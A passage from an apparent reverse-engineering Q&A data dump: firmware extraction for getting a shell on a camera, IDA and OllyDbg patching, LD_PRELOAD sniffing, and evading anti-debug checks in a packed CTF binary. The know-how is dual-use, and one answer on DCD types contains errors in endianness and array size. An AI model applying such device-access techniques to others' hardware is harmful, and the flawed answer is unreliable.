/ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_sched.c:%d failed.&#xA;17350253      0x108BE6D       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_sched.c:%d failed.&#xA;17351220      0x108C234       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_sched.c:%d failed.&#xA;17351648      0x108C3E0       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_sched.c:%d failed.&#xA;17351968      0x108C520       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_api.c:%d failed.&#xA;17352747      0x108C82B       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_api.c:%d failed.&#xA;17353891      0x108CCA3       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_api.c:%d failed.&#xA;17354102      0x108CD76       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_api.c:%d failed.&#xA;17357134      0x108D94E       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_api.c:%d failed.&#xA;17360809      0x108E7A9       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_api.c:%d failed.&#xA;17371600      0x10911D0       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_decode.c:%d failed.&#xA;17372514      0x1091562       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_decode.c:%d failed.&#xA;17372819      0x1091693       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_decode.c:%d failed.&#xA;17374604      0x1091D8C       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_decode.c:%d failed.&#xA;17374934      0x1091ED6       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_decode.c:%d failed.&#xA;17375922      0x10922B2       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_decode.c:%d failed.&#xA;17376322      0x1092442       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_decode.c:%d failed.&#xA;17379091      0x1092F13       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_decode.c:%d failed.&#xA;17379478      0x1093096       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_decode.c:%d failed.&#xA;17380115      0x1093313       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_decode.c:%d failed.&#xA;17380498      0x1093492       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_fbufs.c:%d failed.&#xA;17380775      0x10935A7       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_fbufs.c:%d failed.&#xA;17381548      0x10938AC       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_fbufs.c:%d failed.&#xA;17381725      0x109395D       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_fbufs.c:%d failed.&#xA;17382031      0x1093A8F       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_fbufs.c:%d failed.&#xA;17382208      0x1093B40       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_fbufs.c:%d failed.&#xA;17382380      0x1093BEC       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_fbufs.c:%d failed.&#xA;17382555      0x1093C9B       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_fbufs.c:%d failed.&#xA;17382722      0x1093D42       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_fbufs.c:%d failed.&#xA;17386590      0x1094C5E       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_postp.c:%d failed.&#xA;17388309      0x1095315       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_jdec.c:%d failed.&#xA;17388520      0x10953E8       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_jdec.c:%d failed.&#xA;17396295      0x1097247       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_jdec.c:%d failed.&#xA;17397243      0x10975FB       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_jdec.c:%d failed.&#xA;17397895      0x1097887       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_jdec.c:%d failed.&#xA;17400332      0x109820C       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_vld.c:%d failed.&#xA;17400594      0x1098312       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_vld.c:%d failed.&#xA;17400906      0x109844A       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_jenc.c:%d failed.&#xA;17405011      0x1099453       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_parset.c:%d failed.&#xA;17406360      0x1099998       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_mbufs.c:%d failed.&#xA;17408094      0x109A05E       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_mbufs.c:%d failed.&#xA;17412604      0x109B1FC       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_mixer.c:%d failed.&#xA;18014464      0x112E100       UBI erase count header, version: 1, EC: 0x0, VID header offset: 0x200, data offset: 0x800&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The other file has a similar binwalk output but I can't put it here because of the message length limit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried running binwalk with the &lt;code&gt;-e&lt;/code&gt; option to extract the files. I'm getting lots of files with names that seem to be hex addresses but they don't match the binwalk output. Most of the files are mis-identified, &lt;code&gt;7z&lt;/code&gt; files can't be unzipped because they're corrupt, &lt;code&gt;crt&lt;/code&gt; files aren't valid either. The 34.9MB file &lt;code&gt;9ED474.gz&lt;/code&gt; extracts to a 46KB file...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ll _R2_v320_150212.UGF.extracted/&#xA;total 2057240&#xA;drwxr-xr-x   34 me  staff      1156 Jul 15 21:44 .&#xA;drwxr-xr-x  276 me  staff      9384 Jul 15 21:43 ..&#xA;-rw-r--r--@   1 me  staff      6148 Jul 15 21:44 .DS_Store&#xA;-rw-r--r--    1 me  staff  27266816 Jul 15 21:44 112E100.ubi&#xA;-rw-r--r--    1 me  staff  42637044 Jul 15 21:43 28590C.7z&#xA;-rw-r--r--    1 me  staff  39820457 Jul 15 21:43 535357.7z&#xA;-rw-r--r--    1 me  staff  39820305 Jul 15 21:43 5353EF.7z&#xA;-rw-r--r--    1 me  staff  39820245 Jul 15 21:43 53542B.7z&#xA;-rw-r--r--    1 me  staff  39820185 Jul 15 21:43 535467.7z&#xA;-rw-r--r--    1 me  staff  39581491 Jul 15 21:43 56F8CD.7z&#xA;-rw-r--r--    1 me  staff  39572645 Jul 15 21:43 571B5B.7z&#xA;-rw-r--r--    1 me  staff  38849574 Jul 15 21:43 6223DA.7z&#xA;-rw-r--r--    1 me  staff  38849526 Jul 15 21:43 62240A.7z&#xA;-rw-r--r--    1 me  staff  38849478 Jul 15 21:43 62243A.7z&#xA;-rw-r--r--    1 me  staff  38849430 Jul 15 21:43 62246A.7z&#xA;-rw-r--r--    1 me  staff  38849382 Jul 15 21:43 62249A.7z&#xA;-rw-r--r--    1 me  staff  38820261 Jul 15 21:43 62965B.7z&#xA;-rw-r--r--    1 me  staff  38767870 Jul 15 21:43 636302.7z&#xA;-rw-r--r--    1 me  staff  38583620 Jul 15 21:43 6632BC.cpio&#xA;-rw-r--r--    1 me  staff  36548779 Jul 15 21:43 853F55.crt&#xA;-rw-r--r--    1 me  staff  35225511 Jul 15 21:43 997059.crt&#xA;-rw-r--r--    1 me  staff  35225507 Jul 15 21:43 99705D.crt&#xA;-rw-r--r--    1 me  staff  35225503 Jul 15 21:43 997061.crt&#xA;-rw-r--r--    1 me  staff  35071355 Jul 15 21:43 9BCA85.crt&#xA;-rw-r--r--    1 me  staff     40960 Jul 15 21:43 9ED474&#xA;-rw-r--r--    1 me  staff  34872204 Jul 15 21:43 9ED474.gz&#xA;-rw-r--r--    1 me  staff  34755835 Jul 15 21:43 A09B05.7z&#xA;-rw-r--r--    1 me  staff  34180576 Jul 15 21:43 A96220.xz&#xA;-rw-r--r--    1 me  staff  31172436 Jul 15 21:43 D748AC.crt&#xA;-rw-r--r--    1 me  staff  31171856 Jul 15 21:44 D74AF0.crt&#xA;-rw-r--r--    1 me  staff  31171148 Jul 15 21:44 D74DB4.crt&#xA;-rw-r--r--    1 me  staff  31170427 Jul 15 21:44 D75085.crt&#xA;-rw-r--r--    1 me  staff  28665844 Jul 15 21:44 FD880C.7z&#xA;drwxr-xr-x    2 me  staff        68 Jul 15 21:43 cpio-root&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Are the binary firmware updates patches or is it the full image?&#xA;What's my next move?&#xA;There seem to be some python files in the firmware (as observed by dumping the contents using &lt;code&gt;strings&lt;/code&gt;) so maybe I could modify one of the files to give me access to &lt;code&gt;/&lt;/code&gt;?&#xA;Or maybe I could craft my own firmware update file and run a bash script to append a custom user &amp;amp; password to &lt;code&gt;/etc/passwd&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is probably a JTAG connector inside the camera but I'd rather not take it apart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm new to this, but I find it very exciting. I'm hoping someone with more experience can point me in the right direction :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="16749" LastEditorUserId="16749" LastEditDate="2016-07-17T22:31:52.483" LastActivityDate="2017-04-06T03:37:56.803" Title="Trying to get shell on embedded device. Analyzed firmware update, listened to Android app, no dice. Suggestions?" Tags="|firmware|embedded|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13046" PostTypeId="2" ParentId="13041" CreationDate="2016-07-16T04:37:44.293" Score="1" Body="&lt;p&gt;Open the patched file in OllyDbg. &#xA;&lt;strong&gt;Right click&lt;/strong&gt; on CPU pane and choose &quot;&lt;strong&gt;Select all&lt;/strong&gt;&quot; from &lt;strong&gt;Edit&lt;/strong&gt;.&#xA;Again right click on the CPU pane and select &quot;Binary copy&quot; or press &lt;strong&gt;Ctrl+Insert&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Close current session and open the original file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Right click&lt;/strong&gt; on CPU pane and choose &quot;&lt;strong&gt;Select all&lt;/strong&gt;&quot; from &lt;strong&gt;Edit&lt;/strong&gt;.&#xA;Again right click on the CPU pane and select &quot;Binary paste&quot; or press &lt;strong&gt;Shift+Insert&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now from the CPU pane &lt;strong&gt;right click&lt;/strong&gt; menu, select &quot;&lt;strong&gt;Search for&lt;/strong&gt;&quot; then select &quot;&lt;strong&gt;All modifications&lt;/strong&gt;&quot;&#xA;The result would be shown in a new window.&lt;/p&gt;&#xA;" OwnerUserId="8279" LastActivityDate="2016-07-16T04:37:44.293" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13047" PostTypeId="1" AcceptedAnswerId="13048" CreationDate="2016-07-16T14:46:23.363" Score="2" ViewCount="2653" Body="&lt;p&gt;I've start reversing some android application. I have a little experience in this subject, but i got stuck on a little matter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The app i'm trying to reverse uses &lt;strong&gt;JNI&lt;/strong&gt; (java native interface), meaning some of the code is not java - it is assembly.. To my knowing, the native code should be somewhere in the &lt;strong&gt;classes.dex&lt;/strong&gt; file too (together with the dalvik bytecode).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that the tool i'm using that knows to convert the dex file into a java code (&lt;strong&gt;dex2jar&lt;/strong&gt;) doesn't seem to know how to handle the native code inside the &lt;strong&gt;classes.dex&lt;/strong&gt; file. So my questions are: Is there any tool that knows to do this conversion? If not, does someone have general knowledge about the whereabouts of native code in dex files (if it is there)?&lt;/p&gt;&#xA;" OwnerUserId="16753" LastActivityDate="2016-07-16T14:59:13.427" Title="reversing apk - getting native code in classes.dex" Tags="|android|apk|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13048" PostTypeId="2" ParentId="13047" CreationDate="2016-07-16T14:59:13.427" Score="2" Body="&lt;p&gt;No, native code isn't in classes.dex. If an android apk file has native code, the apk itself, when unzipping, should have a &lt;code&gt;lib&lt;/code&gt; subdirectory, which may have architecture-dependent subdirectories  &lt;code&gt;armeabi&lt;/code&gt;. &lt;code&gt;armeabi-v7a&lt;/code&gt;. &lt;code&gt;x86&lt;/code&gt; and possibly others, and those will contain the native code objects. Sometimes, shared objects may be in other directories as well, especially if they belong to some libraries the application linked in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, i unzipped the apk of one application that i know to have native code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ unzip -l net.skoobe.reader-1.apk&#xA;[ stuff omitted ]    &#xA;     2291  2016-03-14 10:27   NDK_LICENSES&#xA;    18549  2016-03-14 10:27   assets/www/error.js&#xA;   345568  2016-03-14 10:27   assets/armeabi/lib64libcrittercism-v3.so&#xA;   308716  2016-03-14 10:27   assets/armeabi-v7a/lib64libcrittercism-v3.so&#xA;   345696  2016-03-14 10:27   assets/arm64-v8a/lib64libcrittercism-v3.so&#xA;     5088  2016-03-14 10:25   lib/armeabi/librsjni.so&#xA;  2890256  2016-03-14 10:26   lib/armeabi/libskoobe.so&#xA;     5088  2016-03-14 10:25   lib/armeabi/libRSSupport.so&#xA;  2792064  2016-03-14 10:26   lib/armeabi-v7a/libskoobe.so&#xA;  4555592  2016-03-14 10:26   lib/x86/libskoobe.so&#xA;    18560  2015-03-26 19:09   lib/armeabi-v7a/librsjni.so&#xA;   420320  2015-03-26 19:09   lib/armeabi-v7a/libRSSupport.so&#xA;    26636  2015-03-26 19:09   lib/x86/librsjni.so&#xA;   518512  2015-03-26 19:09   lib/x86/libRSSupport.so&#xA;   159719  2016-03-14 10:27   META-INF/MANIFEST.MF&#xA;[ more stuff omitted ]    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2016-07-16T14:59:13.427" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13049" PostTypeId="1" CreationDate="2016-07-16T15:15:40.517" Score="2" ViewCount="2403" Body="&lt;p&gt;I have edited &lt;strong&gt;.so&lt;/strong&gt; file in IDA. I don't know how to save it. Any idea for saving them?&lt;/p&gt;&#xA;" OwnerUserId="16754" LastEditorUserId="8063" LastEditDate="2016-07-17T16:40:02.490" LastActivityDate="2016-08-16T16:40:56.483" Title="Saving .so file in IDA" Tags="|ida|hexrays|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13050" PostTypeId="1" AcceptedAnswerId="13055" CreationDate="2016-07-16T15:39:21.637" Score="1" ViewCount="575" Body="&lt;p&gt;I have an an embedded Linux ARM board, where an application opens the &lt;code&gt;/dev/spidev1.0&lt;/code&gt; device and constantly talks through with another MCU.&#xA;Now, if I I try to look at what exchanges (that's what I'd need), doing&#xA;a hexdump &lt;code&gt;/dev/spidev1.0&lt;/code&gt; shows something in the beginning but causes the application to crash. The app is very sensitive and I think it crashes because the app uses and it can't be used for viewing simultaneously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would there be a way to create an alias, or something like a mirror of this device if I write some extra code/driver? Or is there no chance for me to sniff the traffic like that (in software) ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rewrote: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int ioctl(int fd, unsigned long request, struct spi_ioc_transfer *xfer)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, &lt;code&gt;gcc&lt;/code&gt; output the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;myioctl.c:6:5: error: conflicting types for ‘ioctl’ In file included from myioctl.c:1:0: /usr/lib/gcc-cross/arm-linux-gnueabi/4.7/../../../../arm-linux-gnueabi/include/s‌​ys/ioctl.h:41:12: note: previous declaration of ‘ioctl’ was here&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help how the original definition:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Perform the I/O control operation specified by REQUEST on FD.&#xA;   One argument may follow; its presence and type depend on REQUEST.&#xA;   Return value depends on REQUEST.  Usually -1 indicates error.  */&#xA;&#xA;extern int ioctl (int __fd, unsigned long int __request, ...) __THROW;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;could be overridden.&lt;/p&gt;&#xA;" OwnerUserId="4602" LastEditorUserId="53" LastEditDate="2016-07-19T13:13:50.443" LastActivityDate="2016-07-19T13:13:50.443" Title="SPI device sniffing/mirror feature" Tags="|spi|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13051" PostTypeId="2" ParentId="13049" CreationDate="2016-07-16T16:30:05.487" Score="3" Body="&lt;p&gt;Go to File and select Script file and choose a .idc name for your file, which makes the changes permanent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then when you will run the .idc file, you will notice that bytes have been written to those segments successfully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, IDA will ask for saving the new binary file.&lt;/p&gt;&#xA;" OwnerUserId="4602" LastActivityDate="2016-07-16T16:30:05.487" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13053" PostTypeId="2" ParentId="13039" CreationDate="2016-07-16T19:01:06.987" Score="2" Body="&lt;p&gt;You may use &lt;a href=&quot;http://wiki.winehq.org&quot; rel=&quot;nofollow&quot;&gt;WINE&lt;/a&gt; to run or integrate a dll into your modern program.&lt;/p&gt;&#xA;" OwnerUserId="16756" LastActivityDate="2016-07-16T19:01:06.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13054" PostTypeId="2" ParentId="13049" CreationDate="2016-07-16T20:23:24.043" Score="2" Body="&lt;p&gt;To apply the changes you made in your .idc database to the original program, use the menu: &lt;code&gt;Edit&lt;/code&gt;/&lt;code&gt;Patch Program&lt;/code&gt;/&lt;code&gt;Apply Patches to input file&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Warning: If you make several patches, apply them, undo one of the patches, and apply patches again, ida will have lost the information about the &quot;undone&quot; patch and not undo it in the original file. Because of this, you should make a backup of the original file before your first patch, and copy it back before every subsequent patch you make.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, i recommend you to check into &lt;a href=&quot;https://thesprawl.org/projects/ida-patcher/&quot; rel=&quot;nofollow&quot;&gt;idapatcher&lt;/a&gt; which will make it a bit easier to make and check your patches.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2016-07-16T20:23:24.043" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13055" PostTypeId="2" ParentId="13050" CreationDate="2016-07-17T06:35:30.803" Score="2" Body="&lt;p&gt;If this Linux distribution does support LD_PRELOAD you can easily use this feature to override opening/closing/reading/writing/ioctl-ing  functions to this specific device.&#xA;See here for very basic tutorial: &lt;a href=&quot;http://www.catonmat.net/blog/simple-ld-preload-tutorial/&quot; rel=&quot;nofollow&quot;&gt;http://www.catonmat.net/blog/simple-ld-preload-tutorial/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will not require writing driver and pretty usable approach.&#xA;IN addition you can try to use &lt;a href=&quot;http://www.thegeekstuff.com/2011/11/strace-examples/&quot; rel=&quot;nofollow&quot;&gt;strace&lt;/a&gt; utility to trace all IO system calls which will obviously include the accesses to your device. &lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2016-07-17T06:45:35.573" LastActivityDate="2016-07-17T06:45:35.573" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13056" PostTypeId="1" CreationDate="2016-07-17T08:42:14.477" Score="4" ViewCount="1995" Body="&lt;p&gt;I'm trying to solve the Sharif CTF 2016 HI2.exe challenge. This challenge requires a specific (impossible to reach) environment (64 processors, 128GB RAM, ...) to display the flag. As the executable is packed with &lt;code&gt;VMProtect&lt;/code&gt;, the best alternative seems to hook functions responsible for the environment specification checks, and modify their return values at run time. I'm using OllyDbg with the StrongOD plugin. I have documented all details here: &lt;a href=&quot;https://www.aldeid.com/wiki/SharifCTF-2016/hi&quot; rel=&quot;nofollow&quot;&gt;https://www.aldeid.com/wiki/SharifCTF-2016/hi&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have achieved the first step (I have modified values of the &lt;code&gt;SYSTEM_INFO&lt;/code&gt; structure manipulated by the &lt;code&gt;GetSystemInfo&lt;/code&gt; function) but failed to reach my second breakpoint, set on the &lt;code&gt;GlobalMemoryStatusEx&lt;/code&gt; function. The program displays the following error message before my 2nd BP is reached: &lt;code&gt;A debugger has been found running on your system&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to play with a few options from the StrongOD plugin (HidePEB, KernelMode, SkipSomeExceptions) but it either doesn't change anything or crashes the executable before the 2nd BP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve this goal? How should I configure OllyDbg and/or StronOD to prevent the program from knowing it's being debugged?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks in advance for your help.&lt;/p&gt;&#xA;" OwnerUserId="13001" LastEditorUserId="2147" LastEditDate="2018-09-24T22:35:10.353" LastActivityDate="2018-09-24T22:35:10.353" Title="Hooking functions in a VMProtect'ed executable" Tags="|ollydbg|breakpoint|packers|vmprotect|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13057" PostTypeId="2" ParentId="1701" CreationDate="2016-07-17T09:27:17.960" Score="0" Body="&lt;p&gt;There is also an open-source Python (&lt;code&gt;.pyc&lt;/code&gt;) decompiler, called &lt;a href=&quot;https://github.com/zrax/pycdc&quot; rel=&quot;nofollow noreferrer&quot;&gt;Decompyle++&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Decompyle++ aims to translate compiled Python byte-code back into valid and human-readable Python source code. &#xA;While other projects have achieved this with varied success, Decompyle++ is unique in that it seeks to support byte-code from any version of Python.&lt;/p&gt;&#xA;" OwnerUserId="12035" LastEditorUserId="245" LastEditDate="2018-11-12T22:18:32.840" LastActivityDate="2018-11-12T22:18:32.840" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="13058" PostTypeId="1" AcceptedAnswerId="13059" CreationDate="2016-07-17T12:51:36.963" Score="1" ViewCount="607" Body="&lt;p&gt;I've been studying about clienthooks and made a simple program to be manipulated with dll injection&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &quot;stdafx.h&quot;&#xA;&#xA;typedef char greet_t[16];&#xA;greet_t greetings[] = {&#xA;    &quot;Hello&quot;,&#xA;    &quot;Hi&quot;,&#xA;    &quot;Ahoy&quot;,&#xA;    &quot;Alas&quot;,&#xA;    &quot;Hallo&quot;,&#xA;    &quot;Ola&quot;&#xA;};&#xA;&#xA;int greeter(char *name) {&#xA;    printf_s(&quot;%s, %s!\n&quot;, greetings[rand() % ((int) sizeof(greetings) / (int) sizeof(greet_t))], name);&#xA;    int rerun = strcmp(&quot;Gabriel&quot;, name);&#xA;    if (!rerun) printf_s(&quot;Have a nice day!\n&quot;);&#xA;    return rerun;&#xA;}&#xA;&#xA;&#xA;int main() {&#xA;    char name[64];&#xA;    do {&#xA;        scanf_s(&quot;%s&quot;, name);&#xA;    } while (greeter(name));&#xA;&#xA;&#xA;    system(&quot;Pause&quot;);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The idea is to detour the &lt;code&gt;greeter&lt;/code&gt; function, except I can't find it's offset. Looking at it with IDA Pro it looks as if the function logic was thrown in the middle of the code as if there was no function call at all.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:004010B0                 lea     eax, [ebp+var_44]&#xA;.text:004010B3                 push    eax&#xA;.text:004010B4                 push    offset aS       ; &quot;%s&quot; (outside greeter())&#xA;.text:004010B9                 call    sub_401050      ; calling scanf_s&#xA;.text:004010BE                 add     esp, 8&#xA;.text:004010C1                 lea     eax, [ebp+var_44]&#xA;.text:004010C4                 push    eax&#xA;.text:004010C5                 call    esi ; rand&#xA;.text:004010C7                 cdq&#xA;.text:004010C8                 idiv    edi&#xA;.text:004010CA                 shl     edx, 4&#xA;.text:004010CD                 add     edx, offset aHello ; &quot;Hello&quot;&#xA;.text:004010D3                 push    edx&#xA;.text:004010D4                 push    offset aSS      ; &quot;%s, %s!\n&quot; (inside greeter())&#xA;.text:004010D9                 call    sub_401020      ; calling printf_s&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Reading the strings window, it says that all these strings are referenced on sub_401090, but this offset doesn't seem to be the one I'm looking for. What am I doing/reading wrong?&lt;/p&gt;&#xA;" OwnerUserId="16761" LastActivityDate="2016-07-17T14:39:48.930" Title="Problem finding correct offset in simple program with IDA Pro" Tags="|ida|function-hooking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13059" PostTypeId="2" ParentId="13058" CreationDate="2016-07-17T14:39:48.930" Score="0" Body="&lt;p&gt;It seems like your compiler has a &lt;a href=&quot;http://www.greenend.org.uk/rjk/tech/inline.html&quot; rel=&quot;nofollow&quot;&gt;function inlining&lt;/a&gt; optimization enabled. This means the code of a called function replaces the function call in the calling function, increasing the speed a bit as stack juggling and the call/ret instructions can be omitted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're compiling with &lt;code&gt;gcc&lt;/code&gt;, use the &lt;code&gt;-O0&lt;/code&gt; or the &lt;code&gt;-fno-inline&lt;/code&gt; compiler flags (more details &lt;a href=&quot;https://gcc.gnu.org/onlinedocs/gcc/Optimize-Options.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, search for &lt;code&gt;inline&lt;/code&gt;); for other compilers, consult the respective manual.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2016-07-17T14:39:48.930" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13060" PostTypeId="1" CreationDate="2016-07-17T15:03:31.047" Score="0" ViewCount="3706" Body="&lt;p&gt;I have created simple code to test using lldb . This is the first time i am using lldb and i am familiar with gdb. while i am trying to disassemble the unix executable file its not working any commands i should use . Or i should try other , if so can you provide me a list of disassembler,decompiler and debugger for unix and windows 64bit processors which supports scripting too. I have searched for them but could't find. can you suggest me list of good disassemblers.&lt;/p&gt;&#xA;" OwnerUserId="16644" LastEditorUserId="16644" LastEditDate="2016-07-17T15:15:23.497" LastActivityDate="2016-12-15T07:27:35.463" Title="LLDB disassembler not working, using command terminal,on mac el captain?" Tags="|disassembly|disassemblers|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13061" PostTypeId="1" AcceptedAnswerId="13062" CreationDate="2016-07-17T15:28:31.937" Score="2" ViewCount="52" Body="&lt;p&gt;For example we have assembler variable &quot;foo&quot; defined as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00001078 foo      DCD 0xffffffff, 0xffffeeee&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How it(variable &lt;code&gt;foo&lt;/code&gt;) would look like in c++(or whatever higher lang)???&lt;/p&gt;&#xA;" OwnerUserId="16764" LastActivityDate="2016-07-17T15:45:35.503" Title="Reversing assembler DCD directive list into a c++ variable" Tags="|disassembly|assembly|c++|hexrays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13062" PostTypeId="2" ParentId="13061" CreationDate="2016-07-17T15:45:35.503" Score="1" Body="&lt;p&gt;Many possibilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;long long foo=0xffffffffffffeeee&lt;/code&gt; (assuming big endian mode)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;long long foo=0xffffeeeeffffffff&lt;/code&gt; (assuming big endian mode)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;int foo[2]={-1, -4370}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;short foo[4]={-1, -1, -1, -4370}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;char foo[16]=&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xee\xee\xee\xee&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;struct { int a, short b, short c } foo = { -1, -1, -4370 }&lt;/code&gt; (and variations depending on endianness)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You really can't determine the original type of initalized data without looking at the code that uses it.&lt;/p&gt;&#xA;" OwnerUserId="4154" 